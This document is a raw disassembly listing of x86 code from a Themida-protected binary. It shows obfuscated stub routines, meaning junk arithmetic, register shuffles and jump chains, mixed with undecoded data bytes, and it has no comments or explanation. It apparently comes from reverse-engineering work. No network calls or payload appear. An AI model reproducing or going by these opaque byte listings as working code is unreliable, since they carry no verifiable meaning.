; ---------------------------------------------------------------------------
		dd 1434A8B0h, 0FEE9D8F6h, 80FFFF55h, 0CCE99EEFh, 5D00006Dh
		dd 31240433h, 4332404h,	0E9565C24h, 0FFFFFB30h,	0E250D3BEh
		dd 55EE8123h, 0C12CB14Eh, 0F74603EEh, 0FFC681D6h, 81FFFFFFh
		dd 0A59B4AC6h, 22AEE973h, 0C3FE0000h, 0C380C3FEh, 6707E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CE1A:				; CODE XREF: Themida_:0051A45Aj
		mov	ebp, 6ABBF800h
		sub	ebp, 7AD157D0h
		push	edx
		jmp	loc_515041
; ---------------------------------------------------------------------------
		db 58h
		dd 0B13DF635h, 0C3315912h, 0FFDD0958h, 815B2434h, 4C4h
		dd 0EC835100h, 1830E904h, 3486FFFFh, 22E6824h, 1C890000h
		dd 81F78824h, 4ECh, 24048900h, 0EC835051h, 240C8904h, 0FFBE5FE9h
		dd 44E381FFh, 0C1623E3Bh, 0B85005E3h, 26F00E57h, 24E9C301h
		dd 1FFFF75h, 2C335BDDh,	242C3124h, 5C242C33h, 4CFDE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51CE96:				; CODE XREF: Themida_:0050E631j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	6B10h
		mov	[esp], ebp
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5192E0
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFA81DE9h, 4EC83FFh, 0E9240489h, 0FFFFF648h, 148BD101h
		dd 4C48324h, 71A568h, 240C8900h, 42474FFh, 5FDAE959h, 0E828FFFFh
		dd 64E94104h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CEF7:				; CODE XREF: Themida_:0051704Dj
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	16BDh
		mov	[esp], edx
		mov	edx, 340977EBh
		push	esi
		push	edi
		mov	edi, 2CD76351h
		mov	esi, 4426848Ah
		sub	esi, edi
		pop	edi
		add	esi, 0EDA7C88h
		and	esi, 158169F3h
		add	esi, 0B14D0BF6h
		jmp	loc_51DCA3
; ---------------------------------------------------------------------------
		db 52h,	0B2h, 0C6h
		dd 806BEA80h, 0EA8095CAh, 0E9D72809h, 0FFFF7681h, 0DFF6EEB7h
		dd 0C7FED7F6h, 0B7EF80h, 805B66F8h, 0EB806EEBh,	80C328A3h
		dd 0C380A3C3h, 24048B6Eh, 4C481h, 0EB800000h, 0F7EB8094h
		dd 8DC0B60Fh, 24688704h, 89000033h, 61E92404h, 21FFFF12h
		dd 34FF1C4Fh, 8522E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51CF9A:				; CODE XREF: Themida_:00514943j
		add	esp, 4
		add	eax, ebp
		jmp	loc_51EFD5
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 8F6600h, 0FF123BE9h, 242C89FFh, 42474FFh
		dd 24048F5Dh, 0E089505Ch, 405h,	4B95100h, 1000000h, 0AAE959C8h
		dd 83000007h, 65E902C2h, 83FFFFF9h, 0C78104C4h,	4, 8704EF83h
		dd 895C243Ch, 0FA682434h, 8900007Ch, 8FBB241Ch,	0F7090A72h
		dd 57EDE9DBh, 7868FFFFh, 8900005Ch, 36B62414h, 0F680CEFEh
		dd 5AF700CAh, 0FE01C780h, 0B25266C7h, 0CE20E998h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D026:				; CODE XREF: Themida_:00513F6Fj
		push	eax
		jmp	loc_522B64
; ---------------------------------------------------------------------------
		dd 8124148Bh, 4C4h, 0E9D78900h,	0FFFFAAF6h, 4245401h, 5EE3E95Ah
		dd 3C8B0000h, 4C48124h,	1000000h, 3D4EE9E9h, 0EC830000h
		dd 24148904h, 0FFAB9DE9h, 0C1D9F7FFh, 0C18103E9h, 8C453AD7h
		dd 0E959CF01h, 69EAh, 0AF77D505h, 83D0F735h, 1C8904ECh
		dd 0B6CDBB24h, 0D831F044h, 664AE95Bh, 685EFFFFh, 19AFh
		dd 0FF241489h, 0E9042474h, 0FFFF3CFDh
; ---------------------------------------------------------------------------


loc_51D0A0:				; CODE XREF: Themida_:0051C4A3j
		mov	ch, 10h
		add	ch, 36h
		jmp	loc_50E20C
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 5259CE89h, 73F838BAh, 5462E98Bh, 0D8010000h,	0BD55525Bh
		dd 138F1386h, 1EE6E9h, 5DE98900h, 0E959CA89h, 0FFFFAD17h
		dd 480E9CBDh, 5DEB014Fh, 0EB81F329h, 4F480E9Ch,	0FF7C1AE9h
		dd 4B9FFh, 0CB890000h, 0E9DF0159h, 0FFFF8A41h, 0C32856B0h
		dd 410EE958h, 4A050000h, 2D66204Bh, 109741ABh, 0FF4A19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D111:				; CODE XREF: Themida_:00515933j
		shl	ebp, 4
		push	eax
		mov	eax, 12367792h
		xor	eax, 0C192685h
		xor	eax, 0D53174Eh
		sub	eax, 35245609h
		jmp	loc_51FC4B
; ---------------------------------------------------------------------------


loc_51D12E:				; CODE XREF: Themida_:00521691j
		add	esp, 4
		push	0A3h
		mov	[esp], ebp
		push	eax
		mov	eax, 3F312876h
		mov	ebp, eax
		jmp	loc_51FF8B
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 68h
		dd 59D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_51D151:				; CODE XREF: Themida_:00513C0Ej
		push	732Bh
		mov	[esp], ecx
		push	65772479h
		jmp	loc_515207
; ---------------------------------------------------------------------------
		db 52h
		dd 24148B54h, 5104C483h, 1C45BF57h, 0F98962C2h,	9DF1815Fh
		dd 8136CE60h, 0C7CD4E9h, 9D01E954h, 0F029FFFFh,	8BC7015Eh
		dd 0C4812404h, 4, 0FF6953E9h, 40558FFh,	55000000h, 4C3981BDh
		dd 0EBCD8176h, 81321955h, 5D7DEFF5h, 0E9E80176h, 0FFFFFC23h
; ---------------------------------------------------------------------------


loc_51D1B8:				; CODE XREF: Themida_:00512FE3j
		pop	ecx
		jmp	loc_5231BD
; ---------------------------------------------------------------------------
		dw 487h
		dd 24248B24h, 5BF928h, 0E9C7E9C8h, 0C483FFFFh, 0CA12E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D1D6:				; CODE XREF: Themida_:00514A69j
		push	4A24h
		mov	[esp], edi
		push	esp
		pop	edi
		sub	esp, 4
		jmp	loc_514BAA
; ---------------------------------------------------------------------------
		db 66h
		dd 0EF81665Eh, 0F7661466h, 0EF8166DFh, 3DE97C8Fh
		db 3Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D1FF:				; CODE XREF: Themida_:00516A8Aj
		mov	esp, [esp]
		jmp	loc_51A70C
; ---------------------------------------------------------------------------


loc_51D207:				; CODE XREF: Themida_:005101A7j
		xchg	esi, ebp
		pop	esi
		jmp	loc_52115C
; ---------------------------------------------------------------------------
		db 52h
		dd 0FFEBCAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51D215:				; CODE XREF: Themida_:00521CB7j
		add	eax, edi
		add	eax, 668B6664h
		mov	edi, [esp]
		push	edx
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_51D69C
; ---------------------------------------------------------------------------
		db 5Ah,	0C1h, 0E1h
		dd 32E95004h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D23B:				; CODE XREF: Themida_:0051B3F8j
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_516719
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0B754E924h, 54BDFFFFh, 18FDFF6h, 0CE895DE9h,	592434FFh
		dd 81E18951h, 4C1h, 4C18100h, 0E9000000h, 55F2h, 617968h
		dd 48F5400h, 24048324h,	24348B04h, 4C481h, 55570000h, 0FA199C68h
		dd 674BE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D29E:				; CODE XREF: Themida_:0050ED1Cj
		push	esi
		mov	esi, 61285BF0h
		jmp	loc_5150A7
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 34FF2404h, 84F1E924h, 0EB81FFFFh,	63C174D3h
		dd 0A7E9CB01h, 80000056h, 0D7F6BEF7h, 285DEF80h, 241C8BF8h
		dd 0FF3421E9h, 0E9F101FFh, 0C97h, 1A8BF57h, 0BE560463h
		dd 13503C56h, 815EF709h, 351475EFh, 54D9E91Eh, 0EA81FFFFh
		dd 28A6392Ch, 0C281DA29h, 28A6392Ch, 3102C281h,	0ECE95254h
		dd 68FFFF30h, 2D29h, 57241C89h,	4B47BD68h, 0EF815F5Eh
		dd 1551373h, 5C3468h, 0BA4FE900h, 1489FFFFh, 0EDBAE924h
		dd 0C481FFFFh, 4, 4244481h, 24656BD5h, 4246C81h, 31CC4DB9h
		dd 4245401h, 4244481h, 31CC4DB9h, 4246C81h, 24656BD5h
		dd 0E86E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D36A:				; CODE XREF: Themida_:0051E4CCj
		sub	dword ptr [esp], 2CE350F6h
		jmp	loc_50FE91
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 36DAE9h
		db 0
; ---------------------------------------------------------------------------


loc_51D381:				; CODE XREF: Themida_:0051AF4Fj
		pop	esi
		push	ecx
		mov	ecx, 0FA90E5Bh
		add	ecx, 683C7DA7h
		jmp	loc_5191C7
; ---------------------------------------------------------------------------
		db 59h
		dd 2BA525Dh, 1000000h, 44F2E9D6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51D3A2:				; CODE XREF: Themida_:00521AB6j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 7B4A47FCh
		push	edx
		dec	dword ptr [esp]
		not	dword ptr [esp]
		pop	edx
		shr	edx, 1
		inc	edx
		dec	edx
		xor	edx, 1BF88BE4h
		push	ebx
		jmp	loc_5171E3
; ---------------------------------------------------------------------------


loc_51D3C5:				; CODE XREF: Themida_:005215FDj
		and	ecx, 4D8D266Ch
		add	ecx, 1
		push	ebx
		mov	ebx, 0BEFBFD97h
		add	ecx, ebx
		pop	ebx
		add	edx, 28C4144Ch
		add	edx, ecx
		sub	edx, 28C4144Ch
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 582B48D0h
		jmp	loc_51F8CE
; ---------------------------------------------------------------------------
		db 5Bh,	31h, 0F5h
		dd 0C5C5815Eh, 1529054h, 242C8BEFh, 81E38953h, 4C3h, 2E13E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D416:				; CODE XREF: Themida_:00522DBCj
		xor	eax, [esp]
		jmp	loc_515BD5
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF98C2h
; ---------------------------------------------------------------------------


loc_51D424:				; CODE XREF: Themida_:00523BBBj
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		push	ecx
		jmp	loc_511BCF
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0D7h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D443:				; CODE XREF: Themida_:00517AF1j
		xchg	edx, [esp]
		jmp	loc_51C715
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E2895200h, 8904EC83h,	68532434h, 744E32F1h, 21A4E95Bh
		dd 0D1890000h, 5FE9C889h, 81000035h, 6B4E97C3h,	75A2E9FFh
		dd 7B68FFFFh, 89000028h, 4812424h, 424h, 5BFCE900h, 0DEF7FFFFh
		dd 8105E6C1h, 0CAA31F6h, 0E9F03137h, 232h, 243C895Ch, 7C318668h
		dd 2434FF48h, 4C4815Fh,	0B8000000h, 487C3184h, 3C8BF831h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51DD49
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF9AE6E9h, 96E95CFFh
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D4D7:				; CODE XREF: Themida_:00523C1Fj
		and	eax, 653F15EEh
		xor	eax, 5341502h
		mov	ebp, eax
		pop	eax
		push	edi
		jmp	loc_519FF8
; ---------------------------------------------------------------------------


loc_51D4EA:				; CODE XREF: Themida_:0051533Bj
		mov	ebp, esp
		jmp	loc_5228FD
; ---------------------------------------------------------------------------
		db 80h,	0E1h, 57h
		dd 0E9F5F180h, 0FFFF97F4h, 3CCAC281h, 0D529FB72h, 81CD015Ah
		dd 963CCAC5h, 0AAE9596Fh
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51D513:				; CODE XREF: Themida_:005236A2j
		mov	ebx, 15E2030Eh
		add	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 36F01052h
		shr	ebx, 5
		add	ebx, 1
		or	ebx, 4F1A421Eh
		xor	ebx, 3D5ABEBFh
		add	ebp, ebx
		pop	ebx
		add	ebp, esi
		push	edx
		mov	edx, 72E57C20h
		sub	ebp, edx
		pop	edx
		sub	ebp, 15E2030Eh
		pop	esi
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5156ED
; ---------------------------------------------------------------------------


loc_51D556:				; CODE XREF: Themida_:00519A13j
		pop	ebx
		add	ebp, 7A101D94h
		add	ebp, ecx
		jmp	loc_5114FA
; ---------------------------------------------------------------------------
		dd 24043359h, 0E9240431h, 0FFFF1E7Ch, 0C688D086h, 5FE95866h
		dd 8BFFFFA1h
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, 4A05317Ch
		jmp	loc_513E2F
; ---------------------------------------------------------------------------
		db 59h,	68h, 0Eh
		dd 89000015h, 0D5E92414h, 81FFFFF5h, 8F03AFC2h,	2434FF56h
		dd 43CDE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D5AA:				; CODE XREF: Themida_:0052313Cj
		mov	esi, 608C1B78h
		mov	edx, esi
		pop	esi
		sub	[esp+8], edx
		jmp	loc_52125E
; ---------------------------------------------------------------------------


loc_51D5BB:				; CODE XREF: Themida_:0051C374j
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6D20736Fh
		add	edx, 348C18B8h
		dec	edx
		xor	edx, 7D1D09F4h
		add	edx, 1BBD39D1h
		jmp	loc_51DEF6
; ---------------------------------------------------------------------------


loc_51D5DF:				; CODE XREF: Themida_:005124D2j
		pop	esp
		mov	[esp], ecx
		push	22BC2890h
		pop	ecx
		push	ebx
		mov	ebx, 148F21B2h
		jmp	loc_51055F
; ---------------------------------------------------------------------------


loc_51D5F4:				; CODE XREF: Themida_:0051ACB4j
		push	eax
		xor	dword ptr [esp], 6C8353Ch
		pop	dword ptr [edi+24h]
		xor	dword ptr [edi+24h], 6C8353Ch
		pop	eax
		xor	edx, edx
		push	ecx
		push	ebp
		push	ebx
		push	ebx
		jmp	loc_51A33A
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 5DA0B61h, 48BC631h, 0B8B8E924h, 0E958FFFFh, 0FFFF5779h
; ---------------------------------------------------------------------------


loc_51D628:				; CODE XREF: Themida_:0051CAC2j
		xor	edi, 2402F96h
		push	edi
		pop	eax
		mov	edi, [esp]
		add	esp, 4
		push	2476h
		mov	[esp], ebx
		push	ebp
		jmp	loc_5173A0
; ---------------------------------------------------------------------------
		db 88h
		dd 0FE2859CFh, 882C5B66h, 8804F028h, 3509E9h, 24248900h
		dd 4BE56h, 74010000h, 5A5E0424h, 4C281h, 0BD550000h, 4
		dd 0FF72F0E9h, 0D6015BFFh, 7850EE81h, 835A3212h, 0EC8304EEh
		dd 24348904h, 42474FFh,	0FF9729E9h, 0E9EF01FFh,	0FFFF9584h
; ---------------------------------------------------------------------------


loc_51D69C:				; CODE XREF: Themida_:0051D22Cj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	edx
		jmp	loc_5101B5
; ---------------------------------------------------------------------------


loc_51D6B3:				; CODE XREF: Themida_:00515D47j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6E2D4CD0h
		sub	dword ptr [esp+4], 39D2B69h
		add	[esp+4], edi
		jmp	loc_5146F1
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF3F1Ah
; ---------------------------------------------------------------------------


loc_51D6D8:				; CODE XREF: Themida_:0051FDA8j
		pop	edi
		shr	ecx, 1
		jmp	loc_513F9F
; ---------------------------------------------------------------------------
		dd 4C6835Dh, 0E9243487h, 0FFFF8404h
; ---------------------------------------------------------------------------


loc_51D6EC:				; CODE XREF: Themida_:00513C90j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5209B7
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 4
		dd 1000000h, 3C875BDFh,	4335C24h, 24043124h, 0E9240433h
		dd 0FFFF766Eh, 3990EF81h, 0F7012145h, 0FF73B2E9h, 59CD29FFh
		dd 76E9E5D1h, 0C100003Fh, 0C78106EFh, 30D944ACh, 565FFD89h
		dd 757D1F68h, 24348B4Fh, 4C481h, 0BCE90000h, 89000009h
		dd 73E9240Ch
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D75B:				; CODE XREF: Themida_:0051B8F8j
		or	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 7B423AFh
		sub	ebp, 6E4E5490h
		sub	ebp, 0FA252AFh
		add	ebp, 72B45B0Eh
		xor	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_51B91A
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 0A66E95Ch, 0E952FFFFh, 2A3Ch, 14FAE951h, 5758FFFFh
		dd 0FF1512E9h, 681ABBFFh, 5EE91395h, 80000032h,	0C3803FEBh
		dd 5BDE2884h, 0C680C628h, 0E191E945h, 8BFFFFFh,	0D151DE7Bh
		dd 0F7DF87E7h, 8909E9D3h, 0CE81FFFFh, 253629B6h, 0F0E9EED1h
		dd 5CFFFF76h, 24042166h, 0A0EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D7E2:				; CODE XREF: Themida_:0051236Ej
		add	ebp, 4
		jmp	loc_518762
; ---------------------------------------------------------------------------


loc_51D7ED:				; CODE XREF: Themida_:00510D7Ej
		sub	eax, edx
		pop	edx
		add	eax, ebx
		push	ebx
		mov	ebx, 590B63C5h
		dec	ebx
		sub	ebx, 57D30C3Bh
		shl	ebx, 4
		push	edi
		mov	edi, 6EED6CB7h
		jmp	loc_51AFDD
; ---------------------------------------------------------------------------


loc_51D80D:				; CODE XREF: Themida_:00521DE5j
		mov	esi, [esp]
		add	esp, 4
		add	ebx, edi
		push	78B5h
		mov	[esp], eax
		mov	eax, 47A7260Ch
		add	eax, 6B7D20DBh
		sub	eax, 40AFD2D6h
		push	esi
		jmp	loc_516A73
; ---------------------------------------------------------------------------


loc_51D832:				; CODE XREF: Themida_:005162F7j
		push	dword ptr [esp]
		pop	edi
		push	eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_515474
; ---------------------------------------------------------------------------
		db 83h
		dd 0EB8002C4h, 33C380DFh, 0FF970FE9h, 0E9E789FFh, 2F91h
		dd 4EC81h, 1C890000h, 0C02AB324h, 0D7E907E3h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51D86F:				; CODE XREF: Themida_:00518AD6j
		add	eax, ebx
		jmp	loc_519ACA
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 0FFD2F5E9h, 0E78853FFh, 885BF988h, 240C8BCAh, 81E78957h
		dd 4C7h, 4C78300h, 0FFBF9DE9h, 804AB7FFh, 0F7801FE7h, 0DECF8096h
		dd 0EDF780h, 0F1805BF9h, 28B9E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D8B2:				; CODE XREF: Themida_:00519BBEj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_510092
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0E2895224h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_510E40
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF090Ch
; ---------------------------------------------------------------------------


loc_51D8E4:				; CODE XREF: Themida_:0051ADC1j
		mov	al, 0B7h
		xor	ch, al
		pop	ax
		sub	ch, 0F1h
		add	al, ch
		pop	ecx
		push	edx
		mov	dh, 69h
		add	al, 0D2h
		add	al, 0E0h
		add	al, dh
		sub	al, 0E0h
		sub	al, 0D2h
		pop	edx
		add	al, bl
		push	edx
		mov	dh, 35h
		add	dh, 65h
		shr	dh, 6
		and	dh, 1Fh
		add	dh, 67h
		push	ebx
		mov	bh, 9Eh
		jmp	loc_51AD4D
; ---------------------------------------------------------------------------
		db 81h
		dd 2754D2EAh, 0C9CE9DCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51D922:				; CODE XREF: Themida_:00514920j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_51994E
		push	ebx
		mov	ebx, 68BD7C33h
		jmp	loc_51300A
; ---------------------------------------------------------------------------
		dw 5966h
		dd 75E95053h, 89FFFF70h, 5954240Ch, 4BA5256h, 89000000h
		dd 93E95AD6h, 89000052h, 5D54242Ch, 4C581h, 0E9500000h
		dd 1CDCh
; ---------------------------------------------------------------------------


loc_51D96C:				; CODE XREF: Themida_:005228E3j
		pop	edi
		push	ebp
		mov	ebp, esp
		push	3301h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_522A5C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 1C054777h, 539BC281h, 0E2C102C1h, 0A3EA8104h, 874D281Ah
		dd 5FDDE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51D9B2:				; CODE XREF: Themida_:0051052Bj
		sub	dword ptr [esp+4], offset sub_420EB4
		add	[esp+4], esi
		jmp	loc_5107F0
; ---------------------------------------------------------------------------
		db 81h
		dd 363268EEh, 0B727E907h, 56BAFFFFh, 31619854h,	45EE9D5h
		dd 0F1810000h, 71BBA4ABh, 3836E9h, 48F5400h, 4BB5324h
		dd 1000000h, 0E904245Ch, 0FFFFA592h
; ---------------------------------------------------------------------------


loc_51D9F8:				; CODE XREF: Themida_:00522FFDj
		shl	ebp, 1
		sub	ebp, 1
		not	ebp
		jmp	loc_512C2A
; ---------------------------------------------------------------------------


loc_51DA04:				; CODE XREF: Themida_:005171EAj
		pop	ebx
		neg	edx
		jmp	loc_515C7C
; ---------------------------------------------------------------------------


loc_51DA0C:				; CODE XREF: Themida_:0051556Aj
		push	esi
		mov	esi, 6A8821DCh
		add	esi, 0F1055556h
		mov	eax, esi
		pop	esi
		mov	edx, 5B8D7736h
		xor	edx, eax
		pop	eax
		sub	ebx, 67175F86h
		jmp	loc_5220CC
; ---------------------------------------------------------------------------
		dw 5D54h
		dd 0FFF27DE9h, 80DCF6FFh, 0E588B9ECh, 0FFE687E9h, 46853FFh
		dd 5B000000h, 277FEF81h, 0A8E919D0h, 0BEFFFF0Fh, 35A15843h
		dd 7CE9F001h, 81FFFF5Fh, 0F70B1DE1h, 6A1CE906h,	0DBF7FFFFh
		dd 5F1CC381h, 0C38123AFh, 0E8F22FFDh, 15BDD29h,	0F8C581C5h
		dd 6805353Dh, 3E95h, 2580E9h, 0FFC78000h, 28EF68h, 240C8900h
		dd 0D4E9B8B1h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_51DA9F:				; CODE XREF: Themida_:00521147j
		add	ecx, 2EDE7801h
		add	ecx, ebx
		sub	ecx, 2EDE7801h
		add	ecx, 1D91703Fh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	45A8h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	73Dh
		mov	[esp], ecx
		jmp	loc_51BE47
; ---------------------------------------------------------------------------


loc_51DAE5:				; CODE XREF: Themida_:0051205Cj
		mov	ebp, 7766413h
		or	edx, ebp
		pop	ebp
		sub	edx, 9FFEE5F3h
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_519D6F
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 3C33243Ch, 243C3124h, 0FF06DBE9h, 37C780FFh,	80E1B450h
		dd 0ECC0C1CCh, 1748E902h, 0E181FFFFh, 67746F00h, 24C3E9h
		dd 4C78100h, 81000000h,	4C7h, 243C8700h, 79DCE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DB46:				; CODE XREF: Themida_:0051674Fj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6F5E3B2Eh
		push	4FB0h
		mov	[esp], edx
		mov	edx, 0BC53655h
		or	edx, 321B7619h
		and	edx, 20B2AEEh
		inc	edx
		xor	edx, 6D551967h
		xor	edi, edx
		jmp	loc_5180D4
; ---------------------------------------------------------------------------
		dd 0E9EA015Eh, 0FFFFCFA6h, 0E958C229h, 0FFFF10D8h, 5203E3C1h
		dd 0B01301BAh, 84B85012h, 139FC03h, 0F2E958C2h,	8900004Fh
		dd 24348BF7h, 55E7E951h, 0C683FFFFh, 24348704h,	9A16E95Ch
		dd 48BFFFFh, 440CE924h,	0C1810000h, 4, 8B240C87h, 0EC812424h
		dd 4, 68241C89h, 1E06h,	26B2E954h, 5854FFFFh, 405h, 4728E900h
		dd 429FFFFh, 24048124h,	7CC26CC7h, 0FF76F0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DBF9:				; CODE XREF: Themida_:00516C3Fj
		mov	eax, 4F6463BEh
		and	ebp, eax
		pop	eax
		jmp	loc_511364
; ---------------------------------------------------------------------------
		dw 555Dh
		dd 974F0DBDh, 530CE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51DC12:				; CODE XREF: Themida_:0051266Bj
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	49C5h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 7EBB6234h
		jmp	loc_5147EA
; ---------------------------------------------------------------------------
		db 54h
		dd 8B2434FFh, 0CDE9242Ch, 66FFFFC0h, 66FFC283h,	0FFBD6655h
		dd 0EA0166FFh, 81665D66h, 6650C1CAh, 68665556h,	81E93BB1h
		dd 0B9FFFFBDh, 48B2515Dh, 6412E981h, 0C1817437h, 0A8B352FEh
		dd 0E959CB01h, 3033h, 405h, 42D00h, 4330000h, 24043124h
		dd 0E9240433h, 530Ah, 5A0EC681h, 0F289B448h, 5AD0015Eh
		dd 0B951D001h, 25497358h, 91E9C829h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DCA3:				; CODE XREF: Themida_:0051CF38j
		sub	edx, esi
		mov	esi, [esp]
		jmp	loc_51ECA9
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 5E542434h, 0E904EC83h, 0FFFFF672h, 405h
		dd 4E88300h, 2474FF50h,	48F5804h, 0E1E95C24h, 43000018h
		dd 36D5EB81h, 0D9292293h, 0FF5338E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DCE5:				; CODE XREF: Themida_:005224C3j
		pop	ebx
		push	3DD8h
		mov	[esp], eax
		push	4D29h
		jmp	loc_514B34
; ---------------------------------------------------------------------------


loc_51DCF8:				; CODE XREF: Themida_:0052277Ej
		jmp	loc_50E1F0
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9242C89h, 0FFFF7051h, 0FF1C77FFh, 0B3E92434h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51DD13:				; CODE XREF: Themida_:0051747Ej
		sub	edx, esi
		jmp	loc_51941E
; ---------------------------------------------------------------------------
		dw 0EB01h
		dd 0FF715EE9h, 0C2B252FFh, 0F65AD188h, 30F130D1h, 0FEF130CEh
		dd 86D6F6CEh, 0EE952F1h, 81000021h, 4C4h, 0E2895200h, 0FF4508E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51DD49:				; CODE XREF: Themida_:0051D4C6j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_50EE84
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C241Ch, 0FFFFC6D1h, 0E9E5D145h, 0FFFF6E0Fh, 875FFE01h
		dd 0E95C2434h, 1693h
; ---------------------------------------------------------------------------


loc_51DD74:				; CODE XREF: Themida_:00513DC7j
		pop	dword ptr [esp]
		pop	esp
		push	602Ah
		mov	[esp], edx
		jmp	loc_513463
; ---------------------------------------------------------------------------
aRse		db '^RE',7,0
		align 4
		dd 0B9240C89h, 4, 49E9CB01h, 59FFFF39h,	2728E9h, 2751BB00h
		dd 0EB8716B7h, 0E953D5F7h, 0FFFF3ED4h, 4B7259B8h, 12F8E940h
		dd 15A0000h, 0EC835BD9h, 24148904h, 2BAh, 0DA1CE900h, 0E7C1FFFFh
		dd 0C2C78103h, 31E8F937h, 0F2015FFEh, 3314E9h, 4C48300h
